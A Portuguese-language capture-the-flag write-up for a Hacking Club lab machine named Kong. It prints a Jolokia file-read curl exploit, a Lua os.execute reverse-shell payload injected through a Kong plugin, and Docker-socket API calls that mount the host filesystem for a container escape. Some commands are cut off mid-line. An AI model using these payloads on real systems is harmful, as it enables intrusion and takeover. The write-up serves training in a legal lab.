Você está na página 1de 12

Write-Up Kong

Write-up kong

Sobre Hacking Club


Hacking Club é uma plataforma para aprender segurança cibernética, um recurso incrível se você não sabe por onde
começar. Além das máquinas vulneráveis, você tem acesso a aulas e desafios para praticar suas habilidades e acesso a uma
comunidade exclusiva para jogar e se desafiar.

A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.

Varredura nmap:
Como primeiro passo precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas.
Então, vamos usar uma ferramenta chamada nmap.

Ports:

Porta 22 - SSH

Porta 80 - HTTP

Porta 111 - RCPBIND

Podemos começar dando uma olhada na aplicação web que está sendo executada na porta 80:

Write-Up Kong 1
Temos apenas uma mensagem dizendo a aplicação está sendo executado no modo de desenvolvedor.

Ao fazer uma requisição utilizando o curl para nos retornar apenas o response header, podemos identificar que se trata de um
Gateway de Api (Kong/2.0.4):

Podemos fazer um fuzzing nessa aplicação para podermos encontrar possíveis arquivos e diretórios relevantes, estarei
utilizando a wordlist spring-boot.txt da Seclists:

Pesquisando rapidamente por heapdump, vemos que se trata de um terminal que fornece um dump de heap da JVM do
aplicativo, com isso podemos ter informações valiosas, como informações operacionais sobre o aplicativo em execução,
variáveis de ambiente etc.

Write-Up Kong 2
Podemos notar que se trata de um arquivo com dados binários, podemos utilizar o comando strings combinando com o
comando grep para filtrar pela a string hackingclub:

Temos duas coisas interessantes aqui, um nome de domínio e a localização do token.

Podemos acessar esse domínio/subdomínio, mas antes teremos que mapear o endereço IP com o nome de domínio,
adicionando uma linha no arquivo host, conforme ilustrado na imagem a seguir:

Ao acessar esse domínio, vemos que temos um Basic Auth, então precisaremos das credenciais para obtermos acesso:

Write-Up Kong 3
Pesquisando por exploits para podermos explorar o Jolokia, temos um de file read:

jolokia-exploitation-toolkit/file-read-compilerdirectivesadd.md at main · laluka/jolokia-exploitation-toolkit


Try to load a new compiler directive Enjoy the "bad format for file X, content is Y" :) curl -kg
'http://127.0.0.1/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd'

https://github.com/laluka/jolokia-exploitation-toolkit/blob/main/exploits/file-read-compilerdirectivesadd.md

Podemos utilizá-lo para podermos ler o token:

curl -kg 'http://<ip-machine>/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/opt!/kong-admin-

Lendo esse arquivo, conseguimos a nossa primeira flag e as credenciais:

Com as credenciais em mãos, podemos logar na aplicação:

Write-Up Kong 4
A partir daqui, precisaremos utilizar uma interface gráfica para podermos interagir com essa api, podemos utilizar o Konga,
uma ferramenta de código aberto que permite gerenciar seu Kong API Gateway com facilidade:

https://github.com/codeedu/apigateway-kong

https://www.youtube.com/watch?v=_2GRXgYswhI

Write-Up Kong 5
Teremos que acessar o container para mapear o endereço IP com o nome de domínio, adicionando uma linha no arquivo
host, conforme ilustrado na imagem a seguir

Agora podemos acessar a url http://127.0.0.1:1337 e registraremos uma nova conta:

Write-Up Kong 6
Depois de estarmos logado, precisamos realizar o processo de conexão utilizando o Basic Auth:

Depois de temos realizado o processo de conexão, podemos adicionar um plugin.


Podemos escrever uma payload que nos retornará uma conexão reversa, utilizando a função os.execute da linguagem Lua,
abaixo tem algumas referências:

metasploit-framework/kong_gateway_admin_api_rce.rb at master · rapid7/metasploit-framework


Metasploit Framework. Contribute to rapid7/metasploit-framework development by creating an account on
GitHub.
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/kong_gateway_a
dmin_api_rce.rb

Write-Up Kong 7
Serverless Functions plugin | Kong Docs
Dynamically run Lua code from Kong. The Serverless Functions plugin comes as two separate plugins.
Each one runs with a different priority in the plugin chain. pre-function Runs before other plugins run during
each phase. The pre-function plugin can be applied to individual services, routes, or globally.
https://docs.konghq.com/hub/kong-inc/serverless-functions/

Mas antes, iremos abrir o ouvinte do netcat para receber a conexão:

Write-Up Kong 8
os.execute([[bash -c 'sh -i >& /dev/tcp/<ip-vpn>/443 0>&1' &]])

E após clicarmos em ADD PLUGIN recebemos a shell:

Após executarmos o linpeas, conseguimos notar que o soquete do docker está montado dentro do contêiner docker, com
isso consigueremos escapar do mesmo:

Write-Up Kong 9
Podemos nos comunicar com o docker utilizando o docker.sock, com isso consigueremos criar um container e montaremos o
sistema de arquivos do host principal dentro dele:

Exposed Docker Socket


tcp socket is used to remotely access the Docker daemon, for which the default setup provides un-
encrypted and un-authenticated direct access. It is conventional to use port 2375 for un-encrypted, and port
2376 for encrypted communication with the daemon.
https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket

Como o nosso container não tem a ferramenta curl , precisaremos enviá-la ao servidor:

https://github.com/moparisthebest/static-curl/releases/download/v7.87.0/curl-amd64

Agora precisaremos executar os seguintes comandos:


Podemos utilizar a imagem do kong-spring:

./curl -s --unix-socket /run/docker.sock http:/containers/images/json

Write-Up Kong 10
Criaremos o nosso container especificando a imagem kong-spring, e montaremos o sistema de arquivos do host principal
dentro dele:

./curl -i -s -k -X POST -H 'Content-Type: application/json' --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin":

Agora iremos iniciar o container:

./curl -X POST --unix-socket /run/docker.sock http://localhost/containers/<container_id>/start

Podemos especificar um comando para ser executado, estaremos passando uma reverse shell em bash:

./curl -i -s -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true

Ouvinte do Netcat para receber a conexão reversa:

Write-Up Kong 11
Agora precisaremos executar o comando que foi criado:

./curl -i -s -X POST -H 'Content-Type: application/json' --data-binary '{"Detach": false,"Tty": false}' http://localhost/exec/<EXEC-ID

E recebemos a shell:

A partir daqui, basta acessarmos o diretório /hostfs/root e pegaremos a nossa última flag:

Write-Up Kong 12

Você também pode gostar